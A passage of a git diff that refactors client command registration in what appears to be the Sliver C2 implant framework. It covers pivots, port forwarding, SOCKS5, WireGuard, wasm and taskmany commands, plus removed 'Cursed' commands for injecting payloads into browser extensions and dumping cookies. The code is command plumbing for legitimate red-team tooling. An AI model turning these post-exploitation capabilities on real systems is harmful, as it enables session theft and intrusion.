help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.StopRportFwdListenerCmd(cmd, con, args) - }, - } - rportfwdCmd.AddCommand(rportfwdRmCmd) - Flags("", false, rportfwdRmCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(rportfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = rportfwd.PortfwdIDCompleter(con) - }) - - // [ Pivots ] -------------------------------------------------------------- - - pivotsCmd := &cobra.Command{ - Use: consts.PivotsStr, - Short: "List pivots for active session", - Long: help.GetHelpFor([]string{consts.PivotsStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotsCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(pivotsCmd) - Flags("", true, pivotsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - namedPipeCmd := &cobra.Command{ - Use: consts.NamedPipeStr, - Short: "Start a named pipe pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StartNamedPipeListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(namedPipeCmd) - Flags("", false, namedPipeCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") - f.BoolP("allow-all", "a", false, "allow all users to connect") - }) - - tcpListenerCmd := &cobra.Command{ - Use: consts.TCPListenerStr, - Short: "Start a TCP pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StartTCPListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(tcpListenerCmd) - Flags("", false, tcpListenerCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "remote interface to bind pivot listener") - f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") - }) - - pivotStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.StopPivotListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(pivotStopCmd) - Flags("", false, pivotStopCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of the pivot listener to stop") - }) - FlagComps(pivotStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = pivots.PivotIDCompleter(con) - }) - - pivotDetailsCmd := &cobra.Command{ - Use: consts.DetailsStr, - Short: "Get details of a pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotDetailsCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(pivotDetailsCmd) - Flags("", false, pivotDetailsCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of the pivot listener to get details for") - }) - FlagComps(pivotDetailsCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = pivots.PivotIDCompleter(con) - }) - - graphCmd := &cobra.Command{ - Use: consts.GraphStr, - Short: "Get pivot listeners graph", - Long: help.GetHelpFor([]string{consts.PivotsStr, "graph"}), - Run: func(cmd *cobra.Command, args []string) { - pivots.PivotsGraphCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(graphCmd) - - // [ Portfwd ] -------------------------------------------------------------- - - portfwdCmd := &cobra.Command{ - Use: consts.PortfwdStr, - Short: "In-band TCP port forwarding", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(portfwdCmd) - Flags("", true, portfwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - addCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Create a new port forwarding tunnel", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdAddCmd(cmd, con, args) - }, - } - portfwdCmd.AddCommand(addCmd) - Flags("", false, addCmd, func(f *pflag.FlagSet) { - f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") - f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") - }) - FlagComps(addCmd, func(comp *carapace.ActionMap) { - (*comp)["bind"] = completers.ClientInterfacesCompleter() - }) - - portfwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a port forwarding tunnel", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - portfwd.PortfwdRmCmd(cmd, con, args) - }, - } - portfwdCmd.AddCommand(portfwdRmCmd) - Flags("", false, portfwdRmCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(portfwdRmCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = portfwd.PortfwdIDCompleter(con) - }) - - // [ Socks ] -------------------------------------------------------------- - - socksCmd := &cobra.Command{ - Use: consts.Socks5Str, - Short: "In-band SOCKS5 Proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(socksCmd) - Flags("", true, socksCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - socksStartCmd := &cobra.Command{ - Use: consts.StartStr, - Short: "Start an in-band SOCKS5 proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksStartCmd(cmd, con, args) - }, - } - socksCmd.AddCommand(socksStartCmd) - Flags("", false, socksStartCmd, func(f *pflag.FlagSet) { - f.StringP("host", "H", "127.0.0.1", "Bind a Socks5 Host") - f.StringP("port", "P", "1081", "Bind a Socks5 Port") - f.StringP("user", "u", "", "socks5 auth username (will generate random password)") - }) - FlagComps(socksStartCmd, func(comp *carapace.ActionMap) { - (*comp)["host"] = completers.ClientInterfacesCompleter() - }) + // [ Aliases ] + bind(consts.AliasHelpGroup) - socksStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a SOCKS5 proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), - Run: func(cmd *cobra.Command, args []string) { - socks.SocksStopCmd(cmd, con, args) - }, - } - socksCmd.AddCommand(socksStopCmd) - Flags("", false, socksStopCmd, func(f *pflag.FlagSet) { - f.Uint64P("id", "i", 0, "id of portfwd to remove") - }) - FlagComps(socksStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = socks.SocksIDCompleter(con) - }) - - // [ WireGuard ] -------------------------------------------------------------- - - wgPortFwdCmd := &cobra.Command{ - Use: consts.WgPortFwdStr, - Short: "List ports forwarded by the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdListCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - Annotations: hideCommand(consts.WireguardCmdsFilter), - } - Flags("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(wgPortFwdCmd) + // [ Extensions ] + bind(consts.ExtensionHelpGroup) - wgPortFwdAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a port forward from the WireGuard tun interface to a host on the target network", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdAddCmd(cmd, con, args) - }, - } - Flags("wg portforward", false, wgPortFwdAddCmd, func(f *pflag.FlagSet) { - f.Int32P("bind", "b", 1080, "port to listen on the WireGuard tun interface") - f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") - }) - wgPortFwdCmd.AddCommand(wgPortFwdAddCmd) - - wgPortFwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a port forward from the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGPortFwdRmCmd(cmd, con, args) - }, - } - wgPortFwdCmd.AddCommand(wgPortFwdRmCmd) - - carapace.Gen(wgPortFwdRmCmd).PositionalCompletion(wireguard.PortfwdIDCompleter(con).Usage("forwarder ID")) - - wgSocksCmd := &cobra.Command{ - Use: consts.WgSocksStr, - Short: "List socks servers listening on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksListCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - Annotations: hideCommand(consts.WireguardCmdsFilter), - } - sliver.AddCommand(wgSocksCmd) - Flags("wg socks", true, wgSocksCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - wgSocksStartCmd := &cobra.Command{ - Use: consts.StartStr, - Short: "Start a socks5 listener on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StartStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksStartCmd(cmd, con, args) - }, - } - wgSocksCmd.AddCommand(wgSocksStartCmd) - Flags("wg socks", false, wgSocksStartCmd, func(f *pflag.FlagSet) { - f.Int32P("bind", "b", 3090, "port to listen on the WireGuard tun interface") - }) - - wgSocksStopCmd := &cobra.Command{ - Use: consts.StopStr, - Short: "Stop a socks5 listener on the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StopStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGSocksStopCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - wgSocksCmd.AddCommand(wgSocksStopCmd) - carapace.Gen(wgSocksStopCmd).PositionalCompletion(wireguard.SocksIDCompleter(con).Usage("Socks server ID")) - - // [ Curse Commands ] ------------------------------------------------------------ - - cursedCmd := &cobra.Command{ - Use: consts.Cursed, - Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", - Long: help.GetHelpFor([]string{consts.Cursed}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedCmd(cmd, con, args) - }, - } - sliver.AddCommand(cursedCmd) - Flags("", true, cursedCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - cursedRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a Curse from a process", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedRmCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedRmCmd) - Flags("", false, cursedRmCmd, func(f *pflag.FlagSet) { - f.BoolP("kill", "k", false, "kill the process after removing the curse") - }) - carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop")) - - cursedConsoleCmd := &cobra.Command{ - Use: consts.CursedConsole, - Short: "Start a JavaScript console connected to a debug target", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedConsoleCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedConsoleCmd) - Flags("", false, cursedConsoleCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`") - }) - - cursedChromeCmd := &cobra.Command{ - Use: consts.CursedChrome, - Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedChromeCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedChromeCmd) - Flags("", false, cursedChromeCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - f.BoolP("restore", "R", true, "restore the user's session after process termination") - f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)") - f.StringP("user-data", "u", "", "user data directory (blank string = auto)") - f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") - f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") - f.BoolP("headless", "H", false, "start browser process in headless mode") - }) - FlagComps(cursedChromeCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") - }) - cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments")) - - cursedEdgeCmd := &cobra.Command{ - Use: consts.CursedEdge, - Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedEdgeCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedEdgeCmd) - Flags("", false, cursedEdgeCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - f.BoolP("restore", "R", true, "restore the user's session after process termination") - f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)") - f.StringP("user-data", "u", "", "user data directory (blank string = auto)") - f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") - f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") - f.BoolP("headless", "H", false, "start browser process in headless mode") - }) - FlagComps(cursedEdgeCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") - }) - cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments")) - - cursedElectronCmd := &cobra.Command{ - Use: consts.CursedElectron, - Short: "Curse a remote Electron application", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedElectronCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedElectronCmd) - Flags("", false, cursedElectronCmd, func(f *pflag.FlagSet) { - f.StringP("exe", "e", "", "remote electron executable absolute path") - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - }) - cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) - - CursedCookiesCmd := &cobra.Command{ - Use: consts.CursedCookies, - Short: "Dump all cookies from cursed process", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedCookiesCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(CursedCookiesCmd) - Flags("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save to file") - }) + // [ Post-command declaration setup ]---------------------------------------- - cursedScreenshotCmd := &cobra.Command{ - Use: consts.ScreenshotStr, - Short: "Take a screenshot of a cursed process debug target", - Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedScreenshotCmd(cmd, con, args) - }, + // Load Aliases + aliasManifests := assets.GetInstalledAliasManifests() + for _, manifest := range aliasManifests { + _, err := alias.LoadAlias(manifest, sliver, con) + if err != nil { + con.PrintErrorf("Failed to load alias: %s", err) + continue + } } - cursedCmd.AddCommand(cursedScreenshotCmd) - Flags("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) { - f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)") - f.StringP("save", "s", "", "save to file") - }) - - // [ Wasm ] ----------------------------------------------------------------- - wasmCmd := &cobra.Command{ - Use: consts.WasmStr, - Short: "Execute a Wasm Module Extension", - Long: help.GetHelpFor([]string{consts.WasmStr}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - wasm.WasmCmd(cmd, con, args) - }, - } - sliver.AddCommand(wasmCmd) - Flags("", true, wasmCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("", false, wasmCmd, func(f *pflag.FlagSet) { - f.BoolP("pipe", "P", false, "pipe module stdin/stdout/stderr to the current terminal (session only)") - f.StringP("file", "f", "", "include local file(s) in wasm module's /memfs (glob pattern) ") - f.StringP("dir", "d", "", "recursively include local directory in wasm module's /memfs (glob pattern)") - f.BoolP("skip-registration", "s", false, "assume the extension is already registered") - f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") - }) - FlagComps(wasmCmd, func(comp *carapace.ActionMap) { - (*comp)["file"] = carapace.ActionFiles() - (*comp)["dir"] = carapace.ActionDirectories() - }) - wasmComp := carapace.Gen(wasmCmd) - wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)")) - wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)")) + // Load Extensions + extensionManifests := assets.GetInstalledExtensionManifests() + for _, manifest := range extensionManifests { + ext, err := extensions.LoadExtensionManifest(manifest) + // Absorb error in case there's no extensions manifest + if err != nil { + con.PrintErrorf("Failed to load extension: %s", err) + continue + } - wasmLsCmd := &cobra.Command{ - Use: consts.LsStr, - Short: "List registered wasm extensions with current session/beacon", - Long: help.GetHelpFor([]string{consts.WasmStr, consts.LsStr}), - Run: func(cmd *cobra.Command, args []string) { - wasm.WasmLsCmd(cmd, con, args) - }, + extensions.ExtensionRegisterCommand(ext, sliver, con) } - wasmCmd.AddCommand(wasmLsCmd) // [ Post-command declaration setup ]---------------------------------------- // Everything below this line should preferably not be any command binding - // (unless you know what you're doing). If there are any final modifications - // to make to the sliver menu command tree, it time to do them here. + // (although you can do so without fear). If there are any final modifications + // to make to the server menu command tree, it time to do them here. sliver.InitDefaultHelpCmd() sliver.SetHelpCommandGroupID(consts.SliverCoreHelpGroup) // Compute which commands should be available based on the current session/beacon. - con.ExposeCommands() + con.FilterCommands(sliver) return sliver } diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go new file mode 100644 index 0000000000..2b9e48f550 --- /dev/null +++ b/client/command/socks/commands.go @@ -0,0 +1,65 @@ +package socks + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + socksCmd := &cobra.Command{ + Use: consts.Socks5Str, + Short: "In-band SOCKS5 Proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + SocksCmd(cmd, con, args) + }, + } + flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + socksStartCmd := &cobra.Command{ + Use: consts.StartStr, + Short: "Start an in-band SOCKS5 proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Run: func(cmd *cobra.Command, args []string) { + SocksStartCmd(cmd, con, args) + }, + } + socksCmd.AddCommand(socksStartCmd) + flags.Bind("", false, socksStartCmd, func(f *pflag.FlagSet) { + f.StringP("host", "H", "127.0.0.1", "Bind a Socks5 Host") + f.StringP("port", "P", "1081", "Bind a Socks5 Port") + f.StringP("user", "u", "", "socks5 auth username (will generate random password)") + }) + completers.NewFlagCompsFor(socksStartCmd, func(comp *carapace.ActionMap) { + (*comp)["host"] = completers.ClientInterfacesCompleter() + }) + + socksStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a SOCKS5 proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SocksStopCmd(cmd, con, args) + }, + } + + rmComps := completers.NewCompsFor(socksStopCmd) + rmComps.PositionalAnyCompletion(SocksIDCompleter(con).Usage("ID of Socks server(s) to remove")) + + socksCmd.AddCommand(socksStopCmd) + + return []*cobra.Command{socksCmd} +} diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index 7922429305..d6d1108b8c 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -25,16 +25,15 @@ import ( "net" "time" - "gopkg.in/AlecAivazis/survey.v1" - "github.com/spf13/cobra" + "gopkg.in/AlecAivazis/survey.v1" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" ) -// SocksStartCmd - Add a new tunneled port forward -func SocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SocksStartCmd - Add a new tunneled port forward. +func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -83,6 +82,8 @@ func SocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] }(core.SocksProxies.Add(channelProxy).ChannelProxy) con.PrintInfof("Started SOCKS5 %s %s %s %s\n", host, port, username, password) con.PrintWarnf("In-band SOCKS proxies can be a little unstable depending on protocol\n") + + con.WaitSignal() } func randomPassword() string { diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index d6e21e2c13..9911159d9d 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -20,6 +20,7 @@ package socks import ( "context" + "strconv" "github.com/spf13/cobra" @@ -28,20 +29,28 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SocksStopCmd - Remove an existing tunneled port forward -func SocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - socksID, _ := cmd.Flags().GetUint64("id") - if socksID < 1 { - con.PrintErrorf("Must specify a valid socks5 id\n") - return +// SocksStopCmd - Remove an existing tunneled port forward. +func SocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + for _, arg := range args { + socksID, err := strconv.ParseUint(arg, 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse Socks ID: %s\n", err) + } + + if socksID < 1 { + con.PrintErrorf("Must specify a valid socks5 ID\n") + return + } + + found := core.SocksProxies.Remove(socksID) + + if !found { + con.PrintErrorf("No socks5 with ID %d\n", socksID) + } else { + con.PrintInfof("Removed socks5\n") + } + + // close + con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{}) } - found := core.SocksProxies.Remove(socksID) - if !found { - con.PrintErrorf("No socks5 with id %d\n", socksID) - } else { - con.PrintInfof("Removed socks5\n") - } - - // close - con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{}) } diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index ae006d91b3..e286fc4944 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -32,19 +32,20 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// SocksCmd - Display information about tunneled port forward(s) -func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SocksCmd - Display information about tunneled port forward(s). +func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { socks := core.SocksProxies.List() if len(socks) == 0 { con.PrintInfof("No socks5 proxies\n") return } - sort.Slice(socks[:], func(i, j int) bool { + sort.Slice(socks, func(i, j int) bool { return socks[i].ID < socks[j].ID }) tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Session ID", @@ -59,9 +60,9 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin con.Printf("%s\n", tw.Render()) } -// SocksIDCompleter completes IDs of remote of socks proxy servers -func SocksIDCompleter(_ *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { +// SocksIDCompleter completes IDs of remote of socks proxy servers. +func SocksIDCompleter(_ *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { results := make([]string, 0) socks := core.SocksProxies.List() @@ -78,7 +79,9 @@ func SocksIDCompleter(_ *console.SliverConsoleClient) carapace.Action { return carapace.ActionMessage("no Socks servers") } - return carapace.ActionValuesDescribed(results...).Tag("socks servers") + comps := carapace.ActionValuesDescribed(results...).Tag("socks servers") + + return comps.Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/taskmany/taskmany.go b/client/command/taskmany/taskmany.go index e35a64d120..0a123e648e 100644 --- a/client/command/taskmany/taskmany.go +++ b/client/command/taskmany/taskmany.go @@ -28,19 +28,68 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) -// TaskmanyCmd - Task many beacons / sessions -func TaskmanyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func Command(con *console.SliverClient) []*cobra.Command { + taskmanyCmd := &cobra.Command{ + Use: consts.TaskmanyStr, + Short: "Task many beacons or sessions", + Long: help.GetHelpFor([]string{consts.TaskmanyStr}), + GroupID: consts.SliverHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + TaskmanyCmd(cmd, con, args) + }, + } + + // Subcommands might have flags of their own. + taskmanyCmd.DisableFlagParsing = true + + // Add the relevant beacon commands as a subcommand to taskmany + // taskmanyCmds := map[string]bool{ + // consts.ExecuteStr: true, + // consts.LsStr: true, + // consts.CdStr: true, + // consts.MkdirStr: true, + // consts.RmStr: true, + // consts.UploadStr: true, + // consts.DownloadStr: true, + // consts.InteractiveStr: true, + // consts.ChmodStr: true, + // consts.ChownStr: true, + // consts.ChtimesStr: true, + // consts.PwdStr: true, + // consts.CatStr: true, + // consts.MvStr: true, + // consts.PingStr: true, + // consts.NetstatStr: true, + // consts.PsStr: true, + // consts.IfconfigStr: true, + // } + + // for _, c := range SliverCommands(con)().Commands() { + // _, ok := taskmanyCmds[c.Use] + // if ok { + // taskmanyCmd.AddCommand(WrapCommand(c, con)) + // } + // } + + return []*cobra.Command{taskmanyCmd} +} + +// TaskmanyCmd - Task many beacons / sessions. +func TaskmanyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n") } -// Helper function to wrap grumble commands with taskmany logic -func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Command { +// Helper function to wrap grumble commands with taskmany logic. +func WrapCommand(c *cobra.Command, con *console.SliverClient) *cobra.Command { wc := &cobra.Command{ Use: c.Use, Short: c.Short, @@ -53,8 +102,8 @@ func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Comm return wc } -// Wrap a function to run it for each beacon / session -func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { +// Wrap a function to run it for each beacon / session. +func wrapFunctionWithTaskmany(con *console.SliverClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) { return func(cmd *cobra.Command, args []string) { defer con.Println() @@ -104,11 +153,11 @@ func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobr } } -func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clientpb.Session, []*clientpb.Beacon, error) { +func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Session, []*clientpb.Beacon, error) { // Get and sort sessions sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } sessions := sessionsObj.Sessions sort.Slice(sessions, func(i, j int) bool { @@ -118,7 +167,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clie // Get and sort beacons beaconsObj, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } beacons := beaconsObj.Beacons sort.Slice(beacons, func(i, j int) bool { diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go new file mode 100644 index 0000000000..f6d1d3283d --- /dev/null +++ b/client/command/tasks/commands.go @@ -0,0 +1,76 @@ +package tasks + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" 